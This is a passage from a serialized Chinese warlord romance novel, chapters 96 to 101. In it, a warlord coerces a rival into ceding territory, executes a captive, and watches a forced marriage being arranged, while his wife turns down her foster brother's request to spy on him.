黑色的皮带勒出他劲瘦的腰身,更显出肩背的宽阔,长腿裹在军裤和马靴里,自带一种不怒自威的凌厉气势。
江浸月看着,眼前却毫无征兆地重叠了另一个身影。
从前沈霁禾也常穿军装,但他的气质更偏温润儒雅,军装穿在他的身上,也是清风霁月般的端正。
而晏山青……
更像一柄出了鞘,染过血的军刀,野性难驯,锋芒毕露。
“发什么呆?”
晏山青低沉的嗓音传来,瞬间拉回了江浸月的走神。
江浸月立刻收敛心神,不动声色地走过去,微微颔首:“督军。”
晏山青的目光深邃,在她的脸上停留,像是能看穿她刚才那一瞬间的恍惚:“你刚才在想什么?”
他实在是太敏锐了。
江浸月抿了抿唇,抬眼迎上他的视线,语气带上一点恰到好处的不好意思:
“没什么……就是很少见督军穿得这般正式,一时有些看愣了。”
晏山青眉梢微挑,而后伸手拉开后座的车门,顺便侧头问她:“那夫人觉得,是好看,还是不好看?”
江浸月弯腰坐进车里,将裙摆抚平,轻声回了一句:“不好看的话,我也不会看愣了。”
晏山青轻笑一声,心情不错,从另一边上车。
很快,车子驶离督军府。
江浸月这才问:“督军是知道母亲在‘教导’我规矩,所以才让副官来叫走我,为我解围的吗?”
晏山青双腿交叠,坐姿随意:“不知道。只是正好想带你出门。母亲又为难你了?我回来就跟她说。”
“这点小事就不劳烦督军了,我会努力让母亲接纳我的。”江浸月转而又问,“督军要带我去哪里呢?”
晏山青侧过头,似笑非笑的:“怎么,夫人是好了伤疤忘了疼?我们在落霞山吃了那么大的苦头,还险些丢了性命,总得找该负责的人‘聊聊’吧?”
江浸月愣了一下,然后抿唇:“督军要去找……谁?”
晏山青看了她一眼,那眼神仿佛在说“你明明知道”。
他收回视线,语气随意:“夫人既然猜不到,那就先保密。到了地方,你自然就知道。”
“……”江浸月的心就此提到了嗓子眼。
在山里的时候,他怀疑蒋临泽是幕后主使,这些日子他专心养伤毫无动静,她还以为他找不到证据,所以要算了。
结果是养精蓄锐,等伤好了,就来算账了。
也是。
晏山青怎么可能是吃闷亏的人。
·
车子一路开到了军政处。
江浸月跟着晏山青下车,一步一步朝着正厅走去,看着那座庄严肃穆的建筑,她心里有些没底,不知道晏山青会做到哪一步……
是伤?是剐?是杀?还是……
到了门口,就听见里面传出一阵爽朗的笑声,江浸月脚步不由得一顿,抬眼望去——
只见厅内,苏拾卷、蒋临泽,还有几位晏山青麾下的要员都坐在沙发上,谈笑风生,气氛看起来颇为轻松。
蒋临泽一身挺括的西装,指间夹着一支烟,脸上带着惯有的疏淡笑意,正侧耳听着苏拾卷说话,姿态闲适。
江浸月紧绷的神经骤然一松。
还好……
不是她想象中那种血肉横飞的场面。
天知道她有多怕抬眼看到的是蒋临泽被严刑拷打的画面。
无论如何,他都是真心爱护过她的兄长,她不想他死的。
晏山青将她那一闪而过的小情绪尽收眼底,几不可闻地哼了一声。
蒋临泽最先看到他们来了,将烟蒂按灭在烟灰缸里,同时站起身:
“督军,夫人,你们来了。听说你们在山上遇刺受了伤,我一直担心得很,本来想去探望,但苏参谋长说督军下令要静养,谁都不见,我这才不敢打扰。”
“现在看到你们安然无恙,我这颗心总算能放下了。”
江浸月微微颔首:“只是些皮外伤,不妨事的。”
蒋临泽略带歉意:“说起来也是我的不是,那天要不是我提议去打猎,也不会发生这种事情。万幸督军和夫人福大命大,否则我真是万死难辞其咎。”
他说着转向晏山青,神色凝重,“不知督军可查出刺客的幕后主使是谁?敢对督军下手,真是胆大包天!”
晏山青大马金刀地在主位坐下,姿态放松:“人抓了几个,交代了一些话,不过这事先不急,可以等会儿再处置。今天请蒋先生过来,是想先请教一件公事。”
蒋临泽疑问:“公事?”
晏山青拿出一份文件,递给蒋临泽:“这是军政府昨晚刚传过来的质询函,措辞颇为严厉,实在是令晏某惶恐。不知蒋先生对此事,有何见解?”
江浸月坐在晏山青身边,趁他将文件递给蒋临泽的时候,飞快扫了眼上面的字。
……好像是质问晏山青为何未经许可,擅自出兵,接管了原本属于军政府直辖的江陵区,并要求晏山青立即撤军,否则就要调动附近的中央驻军,协助恢复秩序……
她垂下眼思考,意思是晏山青抢了军政府的地盘,军政府不满,要夺回控制权?
“!”她有些心惊,晏山青现在连军政府的地盘都敢抢了??
虽说现在的天下,就是“军阀割据,中央弱控”,但双方表面上还是保持和谐。
晏山青这么明目张胆,要……造反了吗?!
第97章 蒋临泽!你找死吗!
蒋临泽接过文件,快速浏览,眉头微蹙,沉吟片刻,而后才道:
“督军前些日子重伤静养,可能不知情。据我所知,是本月6日深夜,督军麾下的13兵团突然越过界线,进入江陵区,驱逐了当地驻防的中央军,全面接管了防务。”
“军政府对此十分震惊和不满,所以才会发函询问督军。”
晏山青一副才听说这件事的样子,挑眉看向苏拾卷:“还有这事儿?”
苏拾卷也露出恍然大悟的神情:“原来是问这事啊。督军,您当时重伤卧床,属下是怕打扰了您的静养,所以才没有汇报。”
“事情是这样的,我们追查刺杀您的歹徒的线索,一路追到江陵区,按照规矩,请求当地驻军配合搜查。但他们一口咬定,辖区内绝无歹人,我们出于对军政府的信任,便离开了。”
“可转头我们的侦察兵就在江陵区里发现了那伙贼人的踪迹,还被他们偷袭,折了两个弟兄!”
他语气愤慨起来,“这说明什么?说明江陵区的驻军要么无能至极,连辖地内藏着这等凶徒都毫无察觉;要么就是有意包庇,甚至是勾结!”
蒋临泽立刻就要说话——说驻军跟刺客勾结,不就是说军政府跟刺客勾结?!
但苏拾卷声音拔高,没给他开口的机会:“江陵区离咱们东湖这么近,里面藏着要您性命的人,还袭击我方人员,我们为了督军的安危,也为了东湖、南川两地的稳定,才不得已,暂时接管了江陵区的防务。”
“这叫事急从权,也是为了保护当地百姓免遭匪患,还请督军、蒋先生和军政府明鉴啊!”
最后一句,苏拾卷说得语重心长、痛心疾首,一派忠臣风骨的模样。
晏山青听完,缓缓点头:“原来如此,苏参谋长做得对。”
“江陵区虽然名义上归属军政府直辖,但地理上与东湖毗邻,唇齿相依。既然当地驻军无力维护治安,甚至可能藏污纳垢,危及本督军以及东湖、南川的稳定,那么由东湖暂时接管防务,确保一方平安,也是本督军职责所在。”
他看向蒋临泽,笑意不达眼底,“蒋先生,你看,合情合理。”
蒋临泽脸色沉了下来。
说得冠冕堂皇,晏山青摆明了就是要私吞江陵区这块肥肉!
简直是……岂有此理!
江浸月没有插话——这里也没有她插话的份儿,她低垂着眼皮,眼观鼻鼻观心,不动声色。
只觉得,晏山青和苏拾卷不愧是老搭档,这一唱一和的,现在就看蒋临泽怎么接招了。
蒋临泽语气克制:“督军的担忧我能理解。但程序上,江陵区一直归属军政府管辖,既然歹人已经抓到,东湖军的任务已经完成,理应撤出,将防务交还给政府军。”
“至于驻军失职之事,军政府自会严惩。督军此番剿匪有功,军政府也必有嘉奖。何必为了这种小事,伤了地方与中央的和气呢?”
“小事?”晏山青身体微微前倾,目光如炬,“有人在本督军的地盘边上,藏了一队要取我性命的杀手,蒋先生觉得这是小事?”
蒋临泽:“督军……”
“今日他们能杀我,明日是不是就能杀进东湖,搅得两省不宁?至于嘉奖……”他扯了扯嘴角,笑意不达眼底。
“本督军不缺那点嘉奖,只想睡个安稳觉。江陵区的防务,东湖军管定了。军政府若是不满,大可以派他们的‘附近驻军’来试试能不能把江陵夺回去!”
蒋临泽一愣,旋即一怒:“晏山青,你放肆!”
其他要员也倏地站起来:“蒋临泽!你找死吗!”
气氛骤然间变得剑拔弩张!
眼看相持不下,一直没出声的江浸月忽然起身,道:“督军,你们商议的是军国大事,我旁听怕是不合适,我先出去吧。”
她突然出声,是想着打断一下,缓和气氛,免得他们僵持不下。
晏山青却抬手制止了她:“不用。”
“既然江陵区的事情谈不拢,那就先放放。蒋先生刚才不是关心刺杀本督军的幕后主使么?虽然主谋还没落网,但抓住了一条不小的鱼。带上来!”
他一声令下,两名士兵立刻拖着一个血肉模糊的人进来,重重扔在大厅中央,浓烈的血腥气瞬间弥漫开来。
江浸月被冲得下意识后退半步,掩住口鼻,仔细一看,那人手背上有一颗黑痣,正是那个被他们抓住的杀手招供时提到的,雇主手上的特征!
她强忍着不适,想看清那人的脸,却发现他面部被刻意毁坏过,满是血污和疤痕,难以辨认。
蒋临泽在看到那人手背黑痣时,握着茶杯的手指就微微收紧。
晏山青语气平淡无波:“蒋先生好奇主使是谁,不如亲自问问?”
苏拾卷上前,踢了踢地上奄奄一息的人犯,厉声问:“说!是谁指使你在落霞山刺杀督军?!”
那人被踢得抽搐一下,勉强抬起头,一双几乎成了血窟窿的眼睛,直直地望向了蒋临泽的方向。
蒋临泽一动不动:“……”
那人嘴唇翕动,喉咙里发出嗬嗬的声响,眼看就要吐出什么,结果下一秒——
“砰!”
一声枪响,陡然炸开!
江浸月猝不及防,吓得心脏一跳,猛地回头看向枪响的方向——晏山青!
他不知何时,手中多了一把枪,枪口还冒着缕缕青烟。
而地上那人,眉心多了一个血洞,已经死了……
晏山青慢条斯理地收起枪,语气随意得像是在谈论天气:“死到临头,这种人为了少受点罪,什么瞎话都敢编,胡乱攀咬起来,污了蒋先生的耳朵就不好了。”
蒋临泽冷眼看他。
“反正,刺客同党不止他一个,地牢里还有,等问出实话,下次议事,我再告诉蒋先生。今天就到这里吧,江陵区的事,蒋先生慢慢想应该怎么向军政府汇报。”
听懂了晏山青言外之意的蒋临泽,脸色有些难看,他看着晏山青,又瞥了一眼地上毙命的人,最终,所有情绪被强行压了下去,化为一声听不出喜怒的:“好。”
然后就不再看任何人,大步离去。
晏山青挥手,让其他要员也退下,那具尸体也被抬走。
厅内就只剩下晏山青、江浸月和苏拾卷。
江浸月看着地上残留的血迹,又看向神色自若的晏山青,直接问:“督军,你这是什么意思?”
第98章 我们拜过天地,要白头偕老
“夫人看不懂?”
晏山青睨着她,却是不信,以江浸月的聪慧程度,不可能看不明白。
江浸月静了一瞬,然后抬眼迎上晏山青的目光:“督军现在根本不想听到‘刺杀案的幕后主使是蒋临泽’这件事。至少,在江陵区尘埃落定之前,不想。”
晏山青眼底掠过一丝极淡的,带着赞赏意味的笑意:“接着说。”
“今日这一出,抓人、审问、处决,是做给蒋先生看的,让他知道,督军手里攥着他的把柄。”江浸月娓娓道来,思路清晰。
“督军要的,不是此刻与他撕破脸。而是要借这把悬在他头顶的刀,逼他亲自去军政府周旋,将您‘暂时接管’江陵区的事,变成既成事实。”
她顿了顿,声音更低了些,“直接清算,不过是得到蒋临泽的一条命。如此迂回,督军既能得到江陵区这块战略要地,又能捏住蒋临泽的命脉,让他不得不为督军所用,去平息军政府那边的怒火。一石三鸟。”
江陵区,铁路枢纽,贯通东西南北的咽喉。
拿下它,等于扼住了军政府伸向东湖、西江以及周边数省的触角。
晏山青的野心,一向很大。
晏山青身体松弛地靠在椅背上,意味不明地看着她。
他知道她能看穿他的意思,但听她剖析得这么清楚,还是惊讶的。
而且,她连江陵区是交通要塞都知道,可见她平时没少关注政事。
“夫人果然看得透彻。”他看定了她,眼眸幽深,“那夫人觉得,蒋临泽会照我们设想的去做吗?”
“他别无选择。”江浸月若有似无地叹了口气。
“刺杀督军这种事,挑破就是军政府都无法包庇的死罪。督军给了他一条活路,虽然这条路要他割肉放血,但总比立刻身败名裂、死于非命强。他是个聪明人,知道该怎么选。”
“聪明人?”晏山青咀嚼着这三个字,意味深长道,“有时候,太聪明了,反而不能久留。”
“……”
这话放在看穿他所有算计的江浸月面前,就如同一种警告。
江浸月在装傻充愣和直接面对他的敲打之间,选择了后者。
她迎着他的视线,不闪不避:“那督军觉得,我是聪明,还是不聪明?”
她能久留,还是不能久留?
四目相对,无声较量。
他步步为营,她洞若观火。
晏山青凝视着她,片刻后,嘴角扬起一抹似笑非笑的弧度。
“我们结婚那会儿,不是拜过天地,也说过要白头到老么?我许过的诺言,一向是当真。”
这话,既回答了“能久留”,也肯定了“聪明”——他需要她的聪慧,也容得下她的聪慧。
在旁边看了半天夫妻交锋的苏拾卷,适时地清了清嗓子,强行刷存在感:
“我说二位,公事私事都谈得差不多了,肚子里那点存货也清空了吧?东大街新开了一家西餐厅,咱们去搓一顿吧,当是庆祝督军和夫人重伤痊愈?”
江浸月眼神一亮:“好啊,好久没吃西餐了!”
晏山青却皱了眉:“洋玩意儿吃不惯。去吃锅子吧。”
苏拾卷忍着笑说:“是吃不惯,还是不会吃?浸月,我跟你说啊,我上次拉他去尝鲜,他拿着刀叉比画了半天,切牛排愣是切出了剁猪肉的气势,好不容易切下来一块,一口咬下去,发现里面还冒着血丝,他当场就吐了。”
“要不是我拦得快,他已经去找老板算账了,觉得这是人家在挑衅他呢,给他吃生肉!”
江浸月噗嗤一声笑出来。
晏山青的脸色顿时有些挂不住,耳根泛起一丝丝红,语气却更硬:“野人才茹毛饮血,人类迈向文明社会的重要标志就是学会用火,把食物煮熟!”
他说得义正词严,可看到江浸月笑得眉眼弯弯的样子,心里又莫名有点恼,还有点说不清道不明的赧然。
……她留过洋,见识过那些洋派玩意儿,会不会觉得他很老土?
刚才还杀伐决断、危险胁迫的男人,现在在这种小事上又别扭起来。
苏拾卷和江浸月对视一眼,然后一左一右,架起晏山青的胳膊就往外走。
苏拾卷笑着说:“走走走,今天就让你再向文明迈进一步!”
“你们放肆!”
晏山青呵斥,但两人现在都胆大包天,硬是将他半拖半拽地弄出了门,塞进汽车后座。
·
东大街,西餐厅。
欧式风格的装潢,环境优雅,留声机里流淌着舒缓的西洋乐。
晏山青一身与周遭格格不入的冷硬军装,脸色依旧不大好看,大刀金马地坐在丝绒椅子上,活像尊煞神。
苏拾卷将菜单递给江浸月:“弟妹,你对这些东西熟悉,你来点吧。”
江浸月也不推脱,接过菜单,熟练地交代服务生:“三份T骨牛排,一份七分熟,两份全熟。再来一瓶红酒,餐前汤和沙拉也要。甜点饭后再上。”
点完菜,她转头对晏山青和苏拾卷简单解释,“T骨肉嫩。沙拉就是蔬菜水果拌了佐料,清爽解腻。”
苏拾卷听得饶有兴致,晏山青则从鼻子里哼出一声,不置可否。
餐前酒先上,淡金色的液体在水晶杯里摇曳,三人轻轻碰杯,浅酌一口。
晏山青随即皱眉:“淡不拉几的,这也能算酒?”
“这是餐前酒,度数低,开胃的。”江浸月解释。
“洋人是不是什么东西都缺?连酒都舍不得下料。”晏山青挑眉,“八成是他们产业不行,酿不出烈酒,才搞出这种玩意儿,还狡辩说就该这样。”
苏拾卷乐了:“督军,您这强词夺理的功夫见长啊。”
江浸月抿唇一笑,心里却想,这想法倒是跟她当初在国外时不谋而合。
那是她第一次吃到硬邦邦的法棍,也暗自腹诽过,外国人是不是还没完全掌握发酵技术?
不多时,身穿白衬衫黑西裤的服务生,端来三盘牛排,低声询问全熟的那份是给哪位的?
江浸月说:“给我吧。”
服务生便依次放下,铁盘还有余温,肉质滋滋作响,香气扑鼻。
晏山青看着自己面前那块厚实的肉排,以及旁边整齐摆放的刀叉,眉头又拧了起来。
江浸月拿起刀叉,动作娴熟而优雅,将自己盘中那块全熟的牛排切成均匀的小方块。
然后,她端起自己这盘切好的,放到了晏山青的面前,再把他那份七分熟的端过来。
晏山青抬头看她。
“督军直接用叉子吃就可以。”她将银叉递给他,怕他不肯吃,又劝一句,“真的好吃。”
晏山青看了她一会儿,接过叉子,叉起一块牛肉。
全熟的牛肉,肉质紧实,边缘微焦,内里褐色,没有一丝血水。
他放入口中,咀嚼了几下,浓郁的肉香混合着黑胡椒的辛香一起在口中化开,确实……不错。
“牛排可以选熟度的,督军若是不想见血,可以点全熟。虽然口感会欠缺一些,但焦边也好吃。”江浸月一边切着自己那份七分熟的,一边轻声说。
晏山青低沉地“嗯”了一下,一口一口吃完了她为他切的牛排。
苏拾卷感兴趣江浸月的留学生涯,跟她聊了起来,晏山青没有插话。
聊到一半,江浸月面前忽然被推过来一个瓷碟,里面整齐码着七八只剥好壳的大虾。
她诧异地抬头:“督军?”
第99章 蒋临泽离开江家就是因为…
晏山青一边用热毛巾擦手,一边淡然道:“礼尚往来。”
江浸月看着那碟大虾,唇角不由自主地牵起来,眼底漾开笑意:
“多谢督军。”
苏拾卷在一旁看得津津有味,心想这对夫妻还挺“势均力敌”。
·
饭后,三人一起走出西餐厅,江浸月在门口停下脚步,仰头望向晏山青:“督军,我想回江家一趟。”
她养伤时,母亲和大嫂来督军府看过她,现在她痊愈了,也该回去让他们看看,免得挂心。
晏山青随意点头:“夫人可以吃过晚饭再回督军府。不过你要怎么去?让司机送你?”
江浸月扫视大街,注意到街角有黄包车,便对车夫招了下手,又对晏山青道:“我坐黄包车回去就行,车子留给督军和苏先生吧。”
也行。晏山青丢了一个银元给车夫:“拉稳点儿,仔细夫人。”
车夫连连称“是”,江浸月上车离开,晏山青和苏拾卷则返回军政处。
苏拾卷放松地靠着车门,忽然感慨了一句:“我看啊,再过不久,督军府就该有喜事,准备迎接小主子了。”
晏山青闭目养神,闻言,嘴角几不可察地向上勾了勾。
……
人力黄包车拉着江浸月到了江家大门前。
江浸月正要下车,无意间抬头,却看到大门右侧的石狮子旁,停着一辆黑色轿车,蒋临泽靠着车头站着,指间一点猩红,显然等了一会儿了。
?他怎么会在这里?
江浸月心下意外,下了车,走过去:“哥?你是来看爸妈的吗?”
蒋临泽将手中的烟蒂丢在地上,用皮鞋碾灭。他脸上没什么表情,声音也淡:“不是。我在等你。”
“等我?”江浸月更惊讶了,“你怎么知道我今天会回来?”话说完,她自己先反应过来,“你安排了人跟着我和督军?”
她眉头一皱,声音压低,“你不要命了吗?若是被督军察觉,你不是更引火烧身吗?”
蒋临泽看到她眼底的担忧,神色稍缓:“他现在还等着我把江陵区弄回来给他,不会动我的。”
江浸月抿了抿唇:“进去再说吧。”
两人走进江家大门,穿过影壁,来到前院,江浸月正要继续往正屋走,蒋临泽却停下了脚步。
“就在这里说吧。”
他还是不愿意踏进这个“家”。
江浸月叹了口气,停下脚步,转身面对他。
“哥,你刺杀督军这件事,做得很不明智。”
蒋临泽对她,没有否认,轻轻一扯嘴角:“晏山青目中无人,狂妄自大,从不把军政府放在眼里,军政府早就容不下他了。”
这句话的言外之意就是,刺杀并非他个人行为,而是军政府的意思。
江浸月道:“但结果是,你们非但杀不了他,现在还要把江陵区赔给他,因为军政府现在也不敢真的跟他翻脸。”
蒋临泽脸色微沉,语气加重:“晏山青的野心绝对不会止步于做一个割据一方的督军,他迟早会触碰到军政府的底线,双方迟早会有一战。皎皎,你跟他在一起,会受他牵连。”
江浸月忽然笑了,那笑容带着凉意,她抬起头,清凌凌的眸子直直地看进蒋临泽眼底:
“所以,哥今天等在这里,真正的意思是,想让我背叛我的丈夫,做军政府的眼线,甚至是内应,帮你们扳倒他,是吗?”
蒋临泽喉结滚动了一下,没有立刻回答,西斜的光线在他棱角分明的脸上投下阴影。
江浸月继续问:“哥是不是也跟外面有些人一样,觉得沈霁禾的死,南川的失陷,是因为我的背叛,我跟晏山青里应外合,我嫁给他也是奸夫淫妇?”
“当然不是!”蒋临泽眉头紧锁,“我知道南川失陷跟你一点关系都没有,你嫁给晏山青也是为了保护江家和沈家。”
“那哥今天怎么会向我提出这么冒昧的要求?要我背叛我的丈夫,倒向你们?”
蒋临泽看着她近在咫尺的脸,那双眼睛里没有愤怒,只有一种沉静的审视。
他胸口窒闷,嗓音骤沉:“他杀了沈霁禾,他是你的杀夫仇人,皎皎,你就一点都不恨他吗?”
“我懂成王败寇的道理。”江浸月移开视线,望向庭院中的盆栽,声音很轻,“战场上,生死各安天命,没有谁对谁错……”
她重新看回蒋临泽身上,还是记着小时候的感情,真心劝道,“哥,你离开南川吧,越早越好。”
说完,她转身走向正屋。
“皎皎。”
蒋临泽的声音在她背后响起,有种莫名的意味,“你想知道,我当年为什么离开江家吗?”
江浸月脚步一顿,回过头看他:“为什么?”
日头西斜,蒋临泽站在半明不暗的天光下,面容有些模糊,唯有那双眼睛,依旧明亮。
“因为我知道,你留洋毕业回国就要和沈霁禾完婚,所以我去找了江先生和江夫人,我问他们,我能不能娶你。我还说,我喜欢你。”
江浸月瞳孔微缩:“哥……”
“江先生说我不知廉耻,伤风败俗,有悖人伦。”蒋临泽扯出一个近乎惨淡的笑,“他们怕我会破坏江沈两家的联姻,所以才将我逐出江家。”
“……”
空气仿佛凝固了,只有穿堂风呜咽着掠过。
江浸月完全没想到,当年的事竟然是这样。
她看着蒋临泽,看着他眼中那些翻滚的情愫,一时竟然不知道该说什么……
半晌,她找回自己的声音,缓缓地说:“哥,我一直都是把你当成亲哥哥,从来没有别的想法。”
蒋临泽眼中的那点光亮,随着她这句话,骤然黯淡下去,归于一片沉寂的漆黑。
他轻轻“呵”了一声,低哑道:“……是吗。”
他没有再说别的,转身离开了江家。
江浸月站在原地,看着他的身影消失在暮色与大门的阴影里,突然想起了当年。
那年她留洋归国,船刚靠岸,她一眼就看到码头人群中最醒目的他。
她欢呼着,像只归巢的雀鸟,提着行李飞奔下船,一头扑进他张开的怀抱,搂着他的脖子又笑又跳。
蒋临泽也笑了,温柔地揉了揉她的头发,接过她手中的行李箱,领着她走向汽车。
她坐进车里,叽叽喳喳说着国外的见闻,还说着有多想家,多想他们。
蒋临泽一直安静地听着,只在车子快开到家时,转头看了她,说:“以后,不会再让你离开我了。”
那时候她沉浸在归家的喜悦里,没有去多想他这句话。
原来……他是这个意思。
第100章 陈白联姻,对付江家!
几天后,一个阴沉的下午。
陈佑宁在外面跟几个小姐妹逛完百货公司,心情不错地回到家,意外发现家门口停着几辆汽车,车牌都很陌生。
她提着刚买的新款手袋走进大门,恰好碰见从客厅方向走来的佣人李妈,便随口问道:“家里来客人了?”
李妈神色有些微妙,点了点头:“是,小姐。来了好几位客人,在客厅和老爷夫人说话呢。”
“哦。”
陈佑宁没多想,她对这些迎来送往的应酬向来不感兴趣,径直回了自己的二楼房间。
她哼着歌,把新买的几条裙子一一摊在床上比画,琢磨着明天去参加孙家茶会该穿哪一条?
别看她在督军府讨不到好,但无论是在东湖还是南川,她都是小姐啊贵妇啊那个圈儿的中心人物。
正挑着呢,房门被轻轻敲响,李妈的声音传来:“小姐,老爷和夫人请您去客厅一趟。”
“知道了。”陈佑宁放下裙子,经过梳妆台时,看到自己的口红掉色了,便随手拿起一管橘红色的,给自己涂了涂,满意微笑,之后出门。
她一边下楼一边问,“客人走了?”
“刚走。”李妈低声回答。
客厅里,陈师座和陈夫人坐在沙发上,脸色都不太好看。
陈佑宁走进去,看到他们的样子,疑惑地喊:“爹,娘,叫我什么事啊?”
陈夫人抬头看她,张了张嘴,却是一副说不出话的样子,重重叹了口气,扭开了脸。
陈佑宁不明所以,在旁边的单人沙发坐下:“怎么了吗?刚才谁来了啊?”
陈师座端起凉透了的茶水,喝了一口,说:“是白家人。”
“哪个白家?”
“金隆银行,白家。”陈师座放下茶杯,瓷器与玻璃茶几碰撞,发出沉闷的声响,“白家的小儿子白泽宇,带了媒人正式提亲,想娶你过门。”
“……”
陈佑宁脸上的笑容瞬间僵住,像是没听清,又像是听不懂。
她茫然地眨了眨眼,好几秒后,才猛地从沙发上弹了起来,声音尖利得变了调:“提亲??白泽宇??爹,娘,你们是撞鬼了还是中邪了??你们要把我嫁给白泽宇??”
她胸口剧烈起伏,脸涨得通红,“白泽宇那种人……他吃喝嫖赌样样精通!”
“去年为了个戏子,跟人争风吃醋,在百乐门门口动枪,差点闹出人命!上个月欠了一屁股赌债被他爹关在家里好几天出不来!还有、还有前年搞大了哪个小老板的女儿的肚子,最后塞点钱就把人打发到乡下……”
她越说越激动,语无伦次,手指都在发抖,“这种烂到骨子里的人渣,路边的乞丐都不愿意把女儿嫁给他,你们居然要把我嫁给他??”
“我不嫁!死也不嫁!!”
“放肆!”陈师座猛地一拍桌子,震得茶具哐当作响,“你看看你,像个什么样子!大喊大叫,成何体统!”
他喘了口气,努力压下怒气,“那些都是外面以讹传讹,捕风捉影!白少爷年轻的时候是有些贪玩,早就改邪归正了!金隆银行现在有大半业务都是他在打理,是他爹的左膀右臂,能干得很!”
“你嫁过去,就是白家的少奶奶,金隆银行未来的女主人,荣华富贵享之不尽……”
“我不稀罕!!”
陈佑宁尖叫着打断了父亲的话,眼泪夺眶而出,“什么少奶奶!什么女主人!嫁给那种人,我的一辈子就毁了!娘!娘你说话啊!你真的忍心看着女儿跳进火坑吗!”
她扑到陈夫人身边,抓住母亲的胳膊,号啕大哭起来。
陈夫人被她哭得心都碎了,眼圈也红了,搂着女儿,抬头看向丈夫,声音带着哀求:“老爷,这门亲事,真的没法子回绝了吗?佑宁还小,白家那位少爷的名声确实太差了……”
“回绝?怎么回绝?”陈师座烦躁地站起身,在客厅里踱了两步,“你刚才没看到吗?是谁跟白家和媒人一起上门的?是老夫人身边的刘嬷嬷!这意思还不够明白吗?!”
他猛地停下,看着哭成一团的妻女,压低了声音说,“……你们以为我愿意把女儿往火坑里推?可眼下是什么局势?”
“督军又是独宠江家女,又是存款汇源银行,摆明了是要抬举江家,老夫人能看着江家女在后宅、在前头都风生水起?汇源的生意眼看就又要压过金隆,白家能坐得住?”
“这门亲,是老夫人要给江家、给江家女立规矩,也是白家要找靠山,他们已经一拍即合,我们靠着老夫人,就只能听老夫人的安排!这是大局!由不得小孩子家胡闹!”
“我不听!什么大局?!凭什么要用我的婚事来换你们的大局?!”陈佑宁哭得上气不接下气,只觉得天旋地转,绝望像冰冷的潮水淹没上来,让她窒息!
就在这时,一道带着几分油滑笑意的男声传了进来:
“哟,这是怎么了?陈小姐怎么哭得这般伤心?拒绝什么呀?”
三人同时一惊,循声望去。
只见客厅门前站着一个穿着时兴格子西装,头发梳得油光水滑的男人。
他不到三十岁,个子不高不矮,身材不胖不瘦,脸也算不上丑,甚至五官还算端正,但那双微微上挑的眼睛里总流转着一股轻浮算计的光,嘴角习惯性歪着,带着玩世不恭又势在必得的笑,让人一看就觉得不是“好人”。
——正是白家的小儿子,白泽宇。
他一点都不见外,自顾自走进来,目光先在哭得梨花带雨的陈佑宁身上转了一圈,尤其在少女因为哭泣而起伏的胸口上多停留了几秒,然后才笑嘻嘻地对陈师座说:
“陈叔,抱歉啊,刚走半道发现帽子落这儿了,回来取一下。”
说着,他走到沙发边,拿起搭在扶手上的一顶棕色礼帽。
戴上帽子,他又看向陈佑宁,伸出舌头舔了舔下唇,这动作让陈佑宁瞬间感到一阵反胃的恶心!
“陈小姐,”白泽宇笑眯眯地开口,“别哭嘛,女孩子哭多了就不漂亮了。老夫人牵线,是为了咱们白、晏、陈三家往后能更‘亲如一家’,这里面的分量可不轻啊。”
陈师座脸色僵硬,勉强点了点头:“白少爷说的是,陈某明白。”
“明白就好。”白泽宇满意地笑了,“那,陈小姐,改天我约你吃饭,咱们好好熟悉熟悉。先告辞了。”
说完,他扶了扶帽檐,吹着不成调的口哨,大摇大摆地走出去。
陈佑宁见了白泽宇后,更加绝望:“爹……娘……”
陈师座避开了女儿绝望的目光,狠狠心,硬声道:“婚事已经定下了!下个月就过文定!你好好准备,别再给我丢人现眼!”
“…………”
陈佑宁叫不出来了,眼泪无声地汹涌而下。
她双腿一软,瘫坐在地上,精致的裙子铺散开来,像一朵骤然萎谢的花。
客厅里只剩下陈夫人低低地啜泣,和陈师座沉重又无奈的叹息。
门外,天色彻底暗了下来,乌云压顶,一场暴雨将至。
【求求五星好评,求求,我求求,我求求求求求求】
【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次~】
第101章 督军眼里,江家不重要
这场雨一下就是三五天。
南川哪哪都好,就是地处南方,多雨湿潮,让人心烦。
晏山青靠坐在宽大的办公椅里,窗外暴雨如注,室内暖意融融,弥漫着上等的普洱茶醇香。
他端着白瓷茶杯,慢悠悠地呷了一口热茶。
苏拾卷和陈师座分坐两侧。
苏拾卷手里拿着刚收到的电文,语气带着几分玩味儿:“军政府正式批复了,同意将江陵区的防务以及治安,‘暂由’东湖督军府‘协管’,直至该地区‘匪患彻底肃清、秩序完全恢复’。”
“这蒋临泽还挺有本事的,真的让上面把这块肥肉吐出来了。”
陈师座也是点头:“毕竟他别无选择。督军手里捏着的把柄,够他死十次了,能用一块地换一条活路,还能在督军这里挂一个‘办事得力’的美名,对他而言,已经是最好的结果了。”
晏山青没兴趣在蒋临泽的事情上饶舌,放下茶杯,直接下令:“陈师座,安排下去,由你二旅抽调一个精锐加强营,任命赵昆为江陵区警备司令,三日内完成与原地驻军的交接。”
陈师座立刻起身接令:“是!”
晏山青再说:“接管后,首要任务是肃清残匪、恢复秩序、让百姓正常生活。同时组织人手,全面勘测江陵至西江一线的铁路现状,一周内我要看到详细的扩建方案和防御工事预算。”
陈师座:“是!属下这就去安排!”
赵昆是陈师座麾下的得力干将,作风强硬,忠心可靠,安排他掌管江陵区,苏拾卷也觉得很妥当。
他搁下手中的电报,目光扫过墙上的辖区地图,他一直都知道,晏山青想要江陵区,图的就是它那四通八达的铁路网。
这里是南川、东湖与西江的交点,一旦打通这条经济命脉,物资流通的成本将大大降低,贸易往来能翻上几番,东湖和南川的商业活力和税收,都能被西江的繁荣带动起来。
乱世之中,枪杆子要紧,钱袋子更不能松。
跟在晏山青身边这些年,苏拾卷看得明白,他这位督军谋的从来不是一时一地,这人杀伐果断的底色下,深谙一个最朴素的道理——百姓的饭碗稳了,人心才稳;人心稳了,江山才稳。
让辖地生民安居乐业,这才是基业长青最根本的算计,也是最硬的道理。
陈师座略一迟疑,又问:“督军,铁路扩建和防御工事耗资巨大,款项要从哪个部门支出呢?”
苏拾卷接过话头:“按老规矩,找银行合作,发行专项债券。只是这回要选哪家?还是等各家主动来报条件?督军有想法吗?”
晏山青对门口侍立的副官说:“去请金隆银行的白老板来一趟。”
陈师座心下微微一怔。
江陵区是块肥肉,接下来的建设项目自然也是油水丰厚,他以为督军会把这个恩惠给近来风头正盛的江家汇源银行——毕竟督军对江家女宠爱有加,年前还往汇源存过一笔巨款。
没想到督军竟然直接点了白家的金隆。
看来,宠爱归宠爱,到了真刀实枪、真金白银的地步,督军心里那杆秤终究还是倾向了白家。
